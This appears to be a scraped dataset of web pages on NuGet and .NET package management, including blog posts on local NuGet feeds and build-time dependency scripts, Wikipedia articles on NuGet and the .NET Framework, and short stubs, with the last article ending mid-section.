|
/favicon.ico
|
https://weblog.west-wind.com/posts/2022/Sep/11/Referencing-a-Local-Private-NuGet-Package-in-your-Solution
|
On this page:
The other day I needed to reference a 'private' package or reference into a project that otherwise is public and published as a Git repository.
This is a rare scenario where I have a library that is not public, but that I'm using in an otherwise public project. I want to use the library, but don't necessarily want to publish a NuGet package or the source code as part of the repository for broad access.
Further, I want to make sure that if somebody pulls down the repository from Git that they can build the Solution without explicit configuration.
There are a couple of options for this:
Use an Assembly Reference with a local Assembly File
Use a local NuGet Feed
File Referencing a NuGet Package?
Yesterday I publicly mused that it would be nice to actually be able to use a referenced path in a Nuget Package Reference:
In a nutshell, I wouldn't mind seeing a relative path be able to pull in a NuGet reference from within a package reference in a project:
<ItemGroup> <PackageReference Include="../SupportPackages/Westwind.Licensing/WestWind.Licensing.nupkg" /> </ItemGroup>
This seems like a quick and logical way to refernece a NuGet package that doesn't come from a feed.
I realize all sorts of things can go wrong with this if you hard code a path or that path is just not available. However, for the specific scenario of referencing project relative NuGet packages it seems like a good and somewhat logical approach for a simple and - judging from the comments to my Tweet - common scenario.
Alas, while that specific scenario isn't supported, it turns out that there are other ways you can achieve this behavior with only a little more extra work by using a local NuGet feed that's specific to your project/solution. More on that in a minute.
Adding Local References and Packages to a Project
As mentioned there are a couple of ways you can pull private code into a project by using:
A local Assembly Reference
Using a private or local NuGet Feed
Using a Library Assembly Reference
In the past I've always used local assembly references for this scenario. Although it's kind of downplayed in .NET Core in favor of NuGet packages, you can still reference assemblies in Core projects.
You can use the <Reference> element in a project file and hard reference a .dll file to pull in an assembly reference.
To do this:
Create a folder inside of the project/solution
Copy the assembly or build output folder into that folder
From projects that need it, add an assembly reference to the DLL
Here's what that looks like in a referencing project:
<ItemGroup> <Reference include="../SupportAssemblies/Westwind.Licensing/Westwind.Licensing.dll" /> <ItemGroup>
where ../SupportAssemblies/Westwind.Licensing/ contains the full build output of from the Westwind.Licensing project. In this case it's just a single assembly with no dependencies, but if there were direct dependencies they would also show up in that folder and are required to resolve the dependencies when the assembly is loaded from this reference.
This works, and I've been using this approach for ages all the way back to .NET 1.x. But in this age of NuGet packages that can reference other dependencies more easily it seems a bit quaint 😄. There are also potential complications when it comes to resolving dependencies especially these days when most libraries have other NuGet dependencies which can't be automatically resolved by an Assembly Reference unless the dependencies are explicitly output and copied into the library folder.
So while direct assembly referencing still works, NuGet referencing would be a better choice if it can be made self-contained.
Using a Solution or Project Local NuGet Source
So you can also use a local NuGet Source. I've always known that you can add a local NuGet package source, but in the past I've shied away from this solution because I thought - incorrectly - that would mean consumers of a repository would have to explicitly set up the secondary package source. Turns out that's not correct and you can pre-configure a package source as part of your Solution.
Additional Package Sources can be set in a number of places:
Global Package Source
The global package source lives in %appdata%\nuget\nuget.config and looks like this:
<?xml version="1.0" encoding="utf-8"?> <configuration> <packageSources> <add key="NuGet Package Source" value="https://api.nuget.org/v3/index.json" /> <add key="Microsoft Visual Studio Offline Packages" value="C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\" /> <add key="Local NuGet" value="c:\projects\nuget" /> </packageSources> <apikeys> ... </apikeys> </configuration>
This configuration is set when you make changes to your package source configuration in most IDE tools like Visual Studio, Rider, OmniSharp etc.
Solution Local Package Source
But you can also override this global nuget.config file with a local nuget.config in your local Solution Root folder. So to override or add additional package sources I can create a local file, add it to the Solution Root Folder and then add a package source like this:
<configuration> <packageSources> <!-- package source is additive --> <add key="Westwind.WebStore Local" value="./SupportPackages" /> </packageSources> </configuration>
I can now add any local packages into the SupportPackages folder and it will now be found on build.
Here's what this looks like:
And here's the local folder setup:
While this is not as easy as a relative path package reference as per my original musing, it's still a pretty simple solution. As a bonus it works for many packages and doesn't require for projects to use any path references, so it's actually a cleaner solution.
Project Specific PackageSource
Another even easier way to add a package source at the project level is to use <RestoreAdditionalProjectSources> in an individual .NET project, right inside of your project file.
So in my Westwind.Webstore.Business project I can now reference a project relative path:
<PropertyGroup> <TargetFramework>net6.0</TargetFramework> <Version>0.1.2</Version> <RestoreAdditionalProjectSources>./_SupportPackages</RestoreAdditionalProjectSources> </PropertyGroup>
which keeps the extra NuGet package tied to the project rather than the solution. I can of course still point back to the solution folder as well, but the real value of this option is that I can keep the NuGet reference with my specific project that needs it, keeping the dependency management confined to the project that needs it, rather than pushing it up to the Solution. This makes this approach portable even if the project is attached to another solution later.
Here's what this looks like in my project:
Thanks to Patrick Westerhoff for pointing this out on Twitter - another option I had no idea existed.
Summary
I'll be the first to admit I waste a lot of time trying to find simple solutions like this, because I simply don't know about them. The MS Build process has so many components to it, and Microsoft has done a good job of extracting the most common features and defaulting them where everything 'just works' out of the box which is awesome (Kudos!). But when you end up doing a little bit different it's often really hard to discover the customizations that are available. This feature I describe here is great, but judging from responses to my Tweet few know about it. Hopefully a post like this helps out in discovery and taking advantage of this functionality a little bit more easily.
The ability to add a local Nuget.config to a solution or use <RestoreAdditionalProjectSources> in a project to override behavior are great tools to add a private NuGet feed that is pre-configured and doesn't required consumers of the project to fiddle with setting up a custom package source.
It ticks all the boxes for features and convenience - once you figured out the functionality is available. Well now I know, and perhaps if you didn't already, you now do too...
|
||||||
8582
|
dbpedia
|
3
| 0
|
https://en.wikipedia.org/wiki/NuGet
|
en
|
Wikipedia
|
https://en.wikipedia.org/static/favicon/wikipedia.ico
|
https://en.wikipedia.org/static/favicon/wikipedia.ico
|
[
"https://en.wikipedia.org/static/images/icons/wikipedia.png",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-wordmark-en.svg",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-tagline-en.svg",
"https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/NuGet_project_logo.svg/64px-NuGet_project_logo.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/3/31/Free_and_open-source_software_logo_%282009%29.svg/28px-Free_and_open-source_software_logo_%282009%29.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/d/db/Symbol_list_class.svg/16px-Symbol_list_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/12px-Commons-logo.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/d/db/System-installer.svg/30px-System-installer.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/7/74/HelloWorld_in_black_and_white.svg/50px-HelloWorld_in_black_and_white.svg.png",
"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1",
"https://en.wikipedia.org/static/images/footer/wikimedia-button.svg",
"https://en.wikipedia.org/static/images/footer/poweredby_mediawiki.svg"
] |
[] |
[] |
[
""
] | null |
[
"Contributors to Wikimedia projects"
] |
2010-11-06T13:35:28+00:00
|
en
|
/static/apple-touch/wikipedia.png
|
https://en.wikipedia.org/wiki/NuGet
|
.NET package manager
"Nuget" redirects here. Not to be confused with Nugget.
NuGetDeveloper(s)Microsoft, .NET FoundationInitial release5 October 2010; 13 years ago ( )Stable release
6.10[1] / 22 May 2024; 2 months ago ( )
Preview release
6.11.0.71[2] / 30 May 2024; 2 months ago ( )
Repositorygithub .com /NuGet /HomeWritten inC#Platform.NET FrameworkTypePackage management systemLicenseApache License 2.0Websitewww .nuget .org
NuGet (pronounced "New Get")[3] is a package manager, primarily used for packaging and distributing software written using .NET and the .NET Framework. The Outercurve Foundation initially created it under the name NuPack.[4][5] Since its introduction in 2010, NuGet has evolved into a larger ecosystem of tools and services, including a free and open-source client application, hosted package servers, and software deployment tools.[6]
Overview
[edit]
A NuGet package is a single ZIP file that bears a .nupack or .nupkg filename extension and contains .NET assemblies and their needed files, with a manifest file describing its contents.[7] Developers may create these packages with the NuGet client app and publish them in private or public repositories.[7]
NuGet was initially distributed as a Visual Studio extension. Starting with Visual Studio 2012, both Visual Studio and Visual Studio for Mac can natively utilise NuGet packages. NuGet's client, nuget.exe is a free and open-source, command-line app that can both create and consume packages. MSBuild and .NET Core SDK (dotnet.exe) can use it when it is present.[7] NuGet is also integrated with JetBrains Rider.[8]
It supports multiple programming languages, including:
.NET Framework packages
.NET packages
Native packages written in C++,[9] with package creation aided by CoApp
See also
[edit]
Free software portal
Binary repository manager
Chocolatey
ProGet
Software repository
Web Platform Installer
WinOps
Windows Package Manager
References
[edit]
|
||||
8582
|
dbpedia
|
3
| 22
|
https://stackshare.io/stackups/nuget-vs-pydist
|
en
|
What are the differences?
|
[] |
[] |
[] |
[
""
] | null |
[] | null |
NuGet - The package manager for .NET. PyDist - Private Python package hosting.
|
en
|
StackShare
|
https://stackshare.io/stackups/nuget-vs-pydist
| ||||||
8582
|
dbpedia
|
0
| 98
|
https://www.codeproject.com/Questions/5344868/How-NuGet-packages-are-referenced-from-a-class-lib
|
en
|
How NuGet packages are referenced from a class library?
|
[
"https://codeproject.freetls.fastly.net/images/t.gif",
"https://www.codeproject.com/script/Membership/Images/octicons_github-lg.png",
"https://www.codeproject.com/script/Membership/Images/facebook-lg.png",
"https://www.codeproject.com/script/Membership/Images/google-plus-lg.png",
"https://www.codeproject.com/script/Membership/Images/microsoft-lg.png",
"https://codeproject.freetls.fastly.net/App_Themes/CodeProject/Img/logo250x135.gif",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=728x90&c=471829",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-empty-md.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-empty-md.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-empty-md.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-empty-md.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-empty-md.png",
"https://www.codeproject.com/App_Themes/CodeProject/Img/print48.png",
"https://www.codeproject.com/App_Themes/CodeProject/Img/rss48.png",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=300x250&c=471829",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=160x600&c=471829",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=728x90&c=471829"
] |
[] |
[] |
[
""
] | null |
[
"Ravi-from-India"
] |
2022-10-19T20:55:00
|
en
|
/favicon/apple-touch-icon.png
|
https://www.codeproject.com/Questions/5344868/How-NuGet-packages-are-referenced-from-a-class-lib
|
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
|
||||||
8582
|
dbpedia
|
1
| 40
|
https://lostechies.com/derekgreer/2011/09/20/dependency-management-in-net-using-nuget-without-visual-studio/
|
en
|
Dependency Management in .Net: Using NuGet without Visual Studio · Los Techies
|
[
"https://lostechies.com/assets/images/lostechies_logo.png",
"https://lostechies.com/assets/images/rss.png"
] |
[] |
[] |
[
""
] | null |
[] |
2011-09-20T00:00:00
|
en
|
/assets/images/favicon.ico
| null |
In my last article, I discussed some of my previous experiences with dependency management solutions and set forth some primary objectives I believe a dependency management tool should facilitate. In this article, I’ll show how I’m currently leveraging NuGet’s command line tool to help facilitate my dependency management goals.
First, it should be noted that NuGet was designed primarily to help .Net developers more easily discover, add, update, and remove dependencies to externally managed packages from within Visual Studio. It was not designed to support build-time, application-level dependency management outside of Visual Studio. While NuGet wasn’t designed for this purpose, I believe it currently represents the best available option for accomplishing these goals.
Approach 1
My team and I first started using NuGet for retrieving application dependencies at build-time a few months after its initial release, though we’ve evolved our strategy a bit over time. Our first approach used a batch file we named install-packages.bat that used NuGet.exe to process a single packages.config file located in the root of our source folder and download the dependencies into a standard \lib folder. We would then run the batch file after adding any new dependencies to the packages.config and proceed to make assembly references as normal from Visual Studio. We also use Mercurial as our VCS and added a rule to our .hgignore file to keep from checking in the downloaded assemblies. To ensure a freshly downloaded solution obtained all of its needed dependencies, we just added a call to our batch file from a Pre-build event in one of our project files. Voilà!
Here’s an example of our single packages.config file (note, it’s just a regular NuGet config file which it normally stores in the project folder):
<?xml version="1.0" encoding="utf-8"?> <packages> <package id="Antlr" version="3.1.3.42154" /> <package id="Castle.Core" version="2.5.1" /> <package id="Iesi.Collections" version="3.2.0.4000" /> <package id="NHibernate" version="3.2.0.4000" /> <package id="FluentNHibernate" version="1.3.0.717" /> <package id="Machine.Specifications" version="0.4.9.0" /> <package id="Machine.Fakes" version="0.2.1.2" /> <package id="Machine.Fakes.Moq" version="0.2.1.2" /> <package id="Moq" version="4.0.10827" /> <package id="Moq.Contrib" version="0.3" /> <package id="SeleniumDotNet-2.0RC" version="3.0.0.0" /> <package id="AutoMapper" version="1.1.0.118" /> <package id="Autofac" version="2.4.5.724" /> <package id="Autofac.Mvc3" version="2.4.5.724" /> <package id="Autofac.Web" version="2.4.5.724" /> <package id="CassiniDev" version="4.0.1.7" /> <package id="NDesk.Options" version="0.2.1" /> <package id="log4net" version="1.2.10" /> <package id="MvcContrib.Mvc3.TestHelper-ci" version="3.0.60.0" /> <package id="NHibernateProfiler" version="1.0.0.838" /> <package id="SquishIt" version="0.7.1" /> <package id="AjaxMin" version="4.13.4076.28499" /> <package id="ExpectedObjects" version="1.0.0.0" /> <package id="RazorEngine" version="2.1" /> <package id="FluentMigrator" version="0.9.1.0" /> <package id="Firefox" version="3.6.6" /> </packages>
Here’s the batch file we used:
@echo off set SCRIPT_DIR=%~dp0 set NUGET=%SCRIPT_DIR%..\tools\NuGet\NuGet.exe set PACKAGES=%SCRIPT_DIR%..\src\packages.config set DESTINATION=%SCRIPT_DIR%..\lib\ set LOCALCACHE=C:\Packages\ set CORPCACHE=//corpShare/Packages/ set DEFAULT_FEED="https://go.microsoft.com/fwlink/?LinkID=206669" echo [Installing NuGet Packages] if NOT EXIST %DESTINATION% mkdir %DESTINATION% echo. echo [Installing From Local Machine Cache] %NUGET% install %PACKAGES% -o %DESTINATION% -Source %LOCALCACHE% echo. echo [Installing From Corporate Cache] %NUGET% install %PACKAGES% -o %DESTINATION% -Source %CORPCACHE% echo. echo [Installing From Internet] %NUGET% install %PACKAGES% -o %DESTINATION% echo. echo [Copying To Local Machine Cache] xcopy /y /d /s %DESTINATION%*.nupkg %LOCALCACHE% echo. echo Done
This batch file uses NuGet to retrieve dependencies first from a local cache, then from a corporate level cache, then from the default NuGet feed. It then copies any of the newly retrieved packages to the local cache. I don’t remember if NuGet had caching when this was first written, but it was decided to keep our own local cache due to the fact that NuGet only seemed to cache packages if retrieved from the default feed. We used the corporate cache as a sort of poor-man’s private repository for things we didn’t want to push up to the public feed.
The main drawback to this approach was that we had to keep up with all of the transitive dependencies. When specifying a packages.config file, NuGet.exe only retrieves the packages listed in the file. It doesn’t retrieve any of the dependencies of the packages listed in the file.
Approach 2
In an attempt to improve upon this approach, we moved the execution of NuGet.exe into our rake build. In doing so, we were able to eliminate the need to specify transitive dependencies by ditching the use of the packages.config file in favor of a Ruby dictionary. We also removed the Pre-Build rule in favor of just running rake prior to building in Visual Studio.
Here is our dictionary which we store in a packages.rb file:
packages = [ [ "FluentNHibernate", "1.3.0.717" ], [ "Machine.Specifications", "0.4.9.0" ], [ "Moq", "4.0.10827" ], [ "Moq.Contrib", "0.3" ], [ "Selenium.WebDriver", "2.5.1" ], [ "Selenium.Support", "2.5.1" ], [ "AutoMapper", "1.1.0.118" ], [ "Autofac", "2.4.5.724" ], [ "Autofac.Mvc3", "2.4.5.724" ], [ "Autofac.Web", "2.4.5.724" ], [ "NDesk.Options", "0.2.1" ], [ "MvcContrib.Mvc3.TestHelper-ci", "3.0.60.0" ], [ "NHibernateProfiler", "1.0.0.912" ], [ "SquishIt", "0.7.1" ], [ "ExpectedObjects", "1.0.0.0" ], [ "RazorEngine", "2.1"], [ "FluentMigrator", "0.9.1.0"], [ "Firefox", "3.6.6"], [ "FluentValidation", "3.1.0.0" ], [ "log4net", "1.2.10" ] ] configatron.packages = packages
Here’s the pertinent sections of our rakefile:
require 'rubygems' require 'configatron' ... FEEDS = ["//corpShare/Packages/", "https://go.microsoft.com/fwlink/?LinkID=206669" ] require './packages.rb' task :default => ["build:all"] namespace :build do task :all => [:clean, :dependencies, :compile, :specs, :package] ... task :dependencies do configatron.packages.each do | package | FEEDS.each do | feed | !(File.exists?("#{LIB_PATH}/#{package[0]}")) and sh "#{TOOLS_PATH}/NuGet/nuget Install #{package[0]} -Version #{package[1]} -o #{LIB_PATH} -Source #{feed} -ExcludeVersion" do | cmd, results | cmd end end end end end
Another change we made was to use the -ExcludeVersion switch to enable us to setup up the Visual Studio references one time without having to change them every time we upgrade versions. Ideally, I’d like to avoid having to reference transitive dependencies altogether, but I haven’t come up with a clean way of doing this yet.
As of version 1.4, NuGet will now resolve a package’s dependencies (i.e. transitive dependencies) from any of the provided sources (see workitem 603). This allows us to modify the above script to issue a single call to nuget:
task :dependencies do configatron.packages.each do | package | !(File.exists?("#{LIB_PATH}/#{package[0]}")) and feeds = FEEDS.map {|x|"-Source " + x }.join(' ') sh "nuget Install #{package[0]} -Version #{package[1]} -o #{LIB_PATH} #{feeds} -ExcludeVersion" do | cmd, results | cmd end end end
Summary
While NuGet wasn’t designed to support build-time, application-level dependency management outside of Visual Studio in the way demonstrated here, it suits my team’s needs for now. My hope is NuGet will eventually support these scenarios more directly.
|
||||||
8582
|
dbpedia
|
2
| 15
|
https://en.wikipedia.org/wiki/.NET_Framework
|
en
|
.NET Framework
|
[
"https://en.wikipedia.org/static/images/icons/wikipedia.png",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-wordmark-en.svg",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-tagline-en.svg",
"https://upload.wikimedia.org/wikipedia/commons/thumb/7/7d/Microsoft_.NET_logo.svg/120px-Microsoft_.NET_logo.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/DotNet.svg/220px-DotNet.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/0/0d/Microsoft_.NET_Framework_v4.5_logo.png/220px-Microsoft_.NET_Framework_v4.5_logo.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/8/85/Overview_of_the_Common_Language_Infrastructure.svg/330px-Overview_of_the_Common_Language_Infrastructure.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/4/42/UML_dotnet_streams.svg/220px-UML_dotnet_streams.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Wikibooks-logo-en-noslogan.svg/40px-Wikibooks-logo-en-noslogan.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Wikiversity_logo_2017.svg/40px-Wikiversity_logo_2017.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/d/db/Symbol_list_class.svg/16px-Symbol_list_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/12px-Commons-logo.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/d/db/Symbol_list_class.svg/16px-Symbol_list_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1",
"https://en.wikipedia.org/static/images/footer/wikimedia-button.svg",
"https://en.wikipedia.org/static/images/footer/poweredby_mediawiki.svg"
] |
[] |
[] |
[
""
] | null |
[
"Contributors to Wikimedia projects"
] |
2001-12-19T09:32:19+00:00
|
en
|
/static/apple-touch/wikipedia.png
|
https://en.wikipedia.org/wiki/.NET_Framework
|
Software platform developed by Microsoft
For the newer cross-platform framework, see .NET. For other uses, see .net (disambiguation).
.NET FrameworkDeveloper(s)MicrosoftInitial releaseFebruary 13, 2002; 22 years ago ( )Stable release
4.8.1 / August 9, 2022; 2 years ago ( )[1]
Operating systemWindows 98 or later, Windows NT 4.0 or laterPlatformIA-32, x86-64, and ARMIncluded withMicrosoft WindowsSuccessor.NETTypeSoftware frameworkLicenseMixed; see § LicensingWebsitedotnet .microsoft .com
The .NET Framework (pronounced as "dot net") is a proprietary software framework developed by Microsoft that runs primarily on Microsoft Windows. It was the predominant implementation of the Common Language Infrastructure (CLI) until being superseded by the cross-platform .NET project. It includes a large class library called Framework Class Library (FCL) and provides language interoperability (each language can use code written in other languages) across several programming languages. Programs written for .NET Framework execute in a software environment (in contrast to a hardware environment) named the Common Language Runtime (CLR). The CLR is an application virtual machine that provides services such as security, memory management, and exception handling. As such, computer code written using .NET Framework is called "managed code". FCL and CLR together constitute the .NET Framework.
FCL provides the user interface, data access, database connectivity, cryptography, web application development, numeric algorithms, and network communications. Programmers produce software by combining their source code with the .NET Framework and other libraries. The framework is intended to be used by most new applications created for the Windows platform. Microsoft also produces an integrated development environment for .NET software called Visual Studio.
.NET Framework began as proprietary software, although the firm worked to standardize the software stack almost immediately, even before its first release. Despite the standardization efforts, developers, mainly those in the free and open-source software communities, expressed their unease with the selected terms and the prospects of any free and open-source implementation, especially regarding software patents. Since then, Microsoft has changed .NET development to more closely follow a contemporary model of a community-developed software project, including issuing an update to its patent promising to address the concerns.[2]
In April 2019, Microsoft released .NET Framework 4.8, the last major version of the framework as a proprietary offering, followed by .NET Framework 4.8.1 in August 2022. Only monthly security and reliability bug fixes to that version have been released since then. No further changes to that version are planned. The .NET Framework will continue to be included with future releases of Windows and continue to receive security updates, with no plans to remove it as of November 2023.[3]
History
[edit]
Main article: .NET Framework version history
Microsoft began developing .NET Framework in the late 1990s, originally under the name of Next Generation Windows Services (NGWS), as part of the .NET strategy. By early 2000, the first beta versions of .NET 1.0 were released.
In August 2000, Microsoft and Intel worked to standardize Common Language Infrastructure (CLI) and C#. By December 2001, both were ratified by ECMA standards.[4][5] International Organization for Standardization (ISO) followed in April 2003. The current version of ISO standards are ISO/IEC 23271:2012 and ISO/IEC 23270:2006.[6][7]
While Microsoft and their partners hold patents for CLI and C#, ECMA and ISO require that all patents essential to implementation be made available under "reasonable and non-discriminatory terms". The firms agreed to meet these terms, and to make the patents available royalty-free. However, this did not apply to the part of the .NET Framework not covered by ECMA-ISO standards, which included Windows Forms, ADO.NET, and ASP.NET. Patents that Microsoft holds in these areas may have deterred non-Microsoft implementations of the full framework.[8]
Windows Vista is the first client version of Windows that integrated the .NET Framework.
On October 3, 2007, Microsoft announced that the source code for .NET Framework 3.5 libraries was to become available under the Microsoft Reference Source License (Ms-RSL[a]).[9] The source code repository became available online on January 16, 2008, and included BCL, ASP.NET, ADO.NET, Windows Forms, WPF, and XML. Scott Guthrie of Microsoft promised that LINQ, WCF, and WF libraries were being added.[10]
The .NET Compact Framework and .NET Micro Framework variants of the .NET Framework provided support for other Microsoft platforms such as Windows Mobile, Windows CE and other resource-constrained embedded devices. Silverlight provided support for web browsers via plug-ins.
In November 2014, Microsoft also produced an update to its patent grants, which further extends the scope beyond its prior pledges. Prior projects like Mono existed in a legal grey area because Microsoft's earlier grants applied only to the technology in "covered specifications", including strictly the 4th editions each of ECMA-334 and ECMA-335. The new patent promise, however, places no ceiling on the specification version, and even extends to any .NET runtime technologies documented on MSDN that have not been formally specified by the ECMA group, if a project chooses to implement them. This allows Mono and other projects to maintain feature parity with modern .NET features that have been introduced since the 4th edition was published without being at risk of patent litigation over the implementation of those features. The new grant does maintain the restriction that any implementation must maintain minimum compliance with the mandatory parts of the CLI specification.[11]
On March 31, 2016, Microsoft announced at Microsoft Build that they will completely relicense Mono under an MIT License even in scenarios where formerly a commercial license was needed.[12] Microsoft also supplemented its prior patent promise for Mono, stating that they will not assert any "applicable patents" against parties that are "using, selling, offering for sale, importing, or distributing Mono."[13][14] It was announced that the Mono Project was contributed to the .NET Foundation. These developments followed the acquisition of Xamarin, which began in February 2016 and was finished on March 18, 2016.[15]
Microsoft's press release highlights that the cross-platform commitment now allows for a fully open-source, modern server-side .NET stack. Microsoft released the source code for WPF, Windows Forms and WinUI on December 4, 2018.[16]
Architecture
[edit]
Common Language Infrastructure
[edit]
Main article: Common Language Infrastructure
Common Language Infrastructure (CLI) provides a language-neutral platform for application development and execution. By implementing the core aspects of .NET Framework within the scope of CLI, these functions will not be tied to one language but will be available across the many languages supported by the framework.
Common Language Runtime
[edit]
Main article: Common Language Runtime
.NET Framework includes the Common Language Runtime (CLR). It serves as the execution engine of .NET Framework and offers many services such as memory management, type safety, exception handling, garbage collection, security and thread management. All programs written for .NET Framework are executed by the CLR.
Programs written for .NET Framework are compiled into Common Intermediate Language code (CIL), as opposed to being directly compiled into machine code. During execution, an architecture-specific just-in-time compiler (JIT) turns the CIL code into machine code.
Assemblies
[edit]
Compiled CIL code is stored in CLI assemblies. As mandated by the specification, assemblies are stored in Portable Executable (PE) file format, common on Windows platform for all dynamic-link library (DLL) and executable EXE files. Each assembly consists of one or more files, one of which must contain a manifest bearing the metadata for the assembly. The complete name of an assembly (not to be confused with the file name on disk) contains its simple text name, version number, culture, and public key token. Assemblies are considered equivalent if they share the same complete name.
A private key can also be used by the creator of the assembly for strong naming. The public key token determines the real-world identity of the assembly's signer. Only those knowing their private key (of the double-key cryptography system) can sign assemblies that have the same strong name as a prior version assembly. Strong naming is required to add assemblies to Global Assembly Cache.
Starting with Visual Studio 2015, .NET Native compilation technology allows for the compilation of .NET code of Universal Windows Platform apps directly to machine code rather than CIL code, but the app must be written in either C# or Visual Basic.NET.[17]
Class library
[edit]
Main article: Framework Class Library
.NET Framework includes an implementation of the CLI foundational Standard Libraries. The .NET Framework Class Library (FCL) is organized in a hierarchy of namespaces. Most of the built-in application programming interfaces (APIs) are part of either System.* or Microsoft.* namespaces. These class libraries implement many common functions, such as file reading and writing, graphic rendering, database interaction, and XML document manipulation. The class libraries are available for all CLI compliant languages. The FCL implements the CLI Base Class Library (BCL) and other class libraries—some are specified by CLI and other are Microsoft specific.
BCL includes a small subset of the entire class library and is the core set of classes that serve as the basic API of CLR.[18] For .NET Framework most classes considered being part of BCL reside in mscorlib.dll, System.dll and System.Core.dll. BCL classes are available in .NET Framework as well as in CLI's alternative implementations including .NET Compact Framework, Microsoft Silverlight, .NET Core and Mono.
FCL refers to the entire class library that ships with .NET Framework. It includes BCL, an expanded set of libraries, including Windows Forms, ASP.NET, and Windows Presentation Foundation (WPF), and also extensions to the base class libraries ADO.NET, Language Integrated Query (LINQ), Windows Communication Foundation (WCF), and Workflow Foundation (WF). FCL is much larger in scope than standard libraries for languages like C++, and comparable in scope to standard libraries of Java.
With the introduction of alternative CLI's implementations (e.g., Silverlight), Microsoft introduced the concept of Portable Class Libraries (PCL) allowing a consuming library to run on more than one implementation. With the further proliferation of implementations, the PCL approach failed to scale (PCLs are defined intersections of API surface between two or more implementations).[19] As the next evolutionary step of PCL, the .NET Standard Library was created retroactively based on the System.Runtime.dll based APIs found in UWP and Silverlight. New CLI's implementations are encouraged to implement a version of the Standard Library allowing them to run existent third-party libraries with no need of creating new versions of them. The .NET Standard Library allows an independent evolution of the library and app model layers within the .NET architecture.[20]
NuGet is the package manager for all .NET platforms. It is used to retrieve third-party libraries into a .NET project with a global library feed at NuGet.org.[21] Private feeds can be maintained separately, e.g., by a build server or a file system directory.
C++/CLI
[edit]
Main article: C++/CLI
Microsoft introduced C++/CLI in Visual Studio 2005, which is a language and means of compiling Visual C++ programs to run within the .NET Framework. Some parts of the C++ program still run within an unmanaged Visual C++ Runtime, while specially modified parts are translated into CIL code and run with the .NET Framework's CLR.
Assemblies compiled using the C++/CLI compiler are termed mixed-mode assemblies since they contain native and managed code in the same DLL.[22] Such assemblies are more complex to reverse engineer since .NET decompilers such as .NET Reflector reveal only the managed code.
Design principles
[edit]
Interoperability
[edit]
Because computer systems commonly require interaction between newer and older applications, .NET Framework provides means to access functions implemented in newer and older programs that execute outside .NET environment. Access to Component Object Model (COM) components is provided in System.Runtime.InteropServices and System.EnterpriseServices namespaces of the framework. Access to other functions is via Platform Invocation Services (P/Invoke). Access to .NET functions from native applications is via the reverse P/Invoke function.
Language independence
[edit]
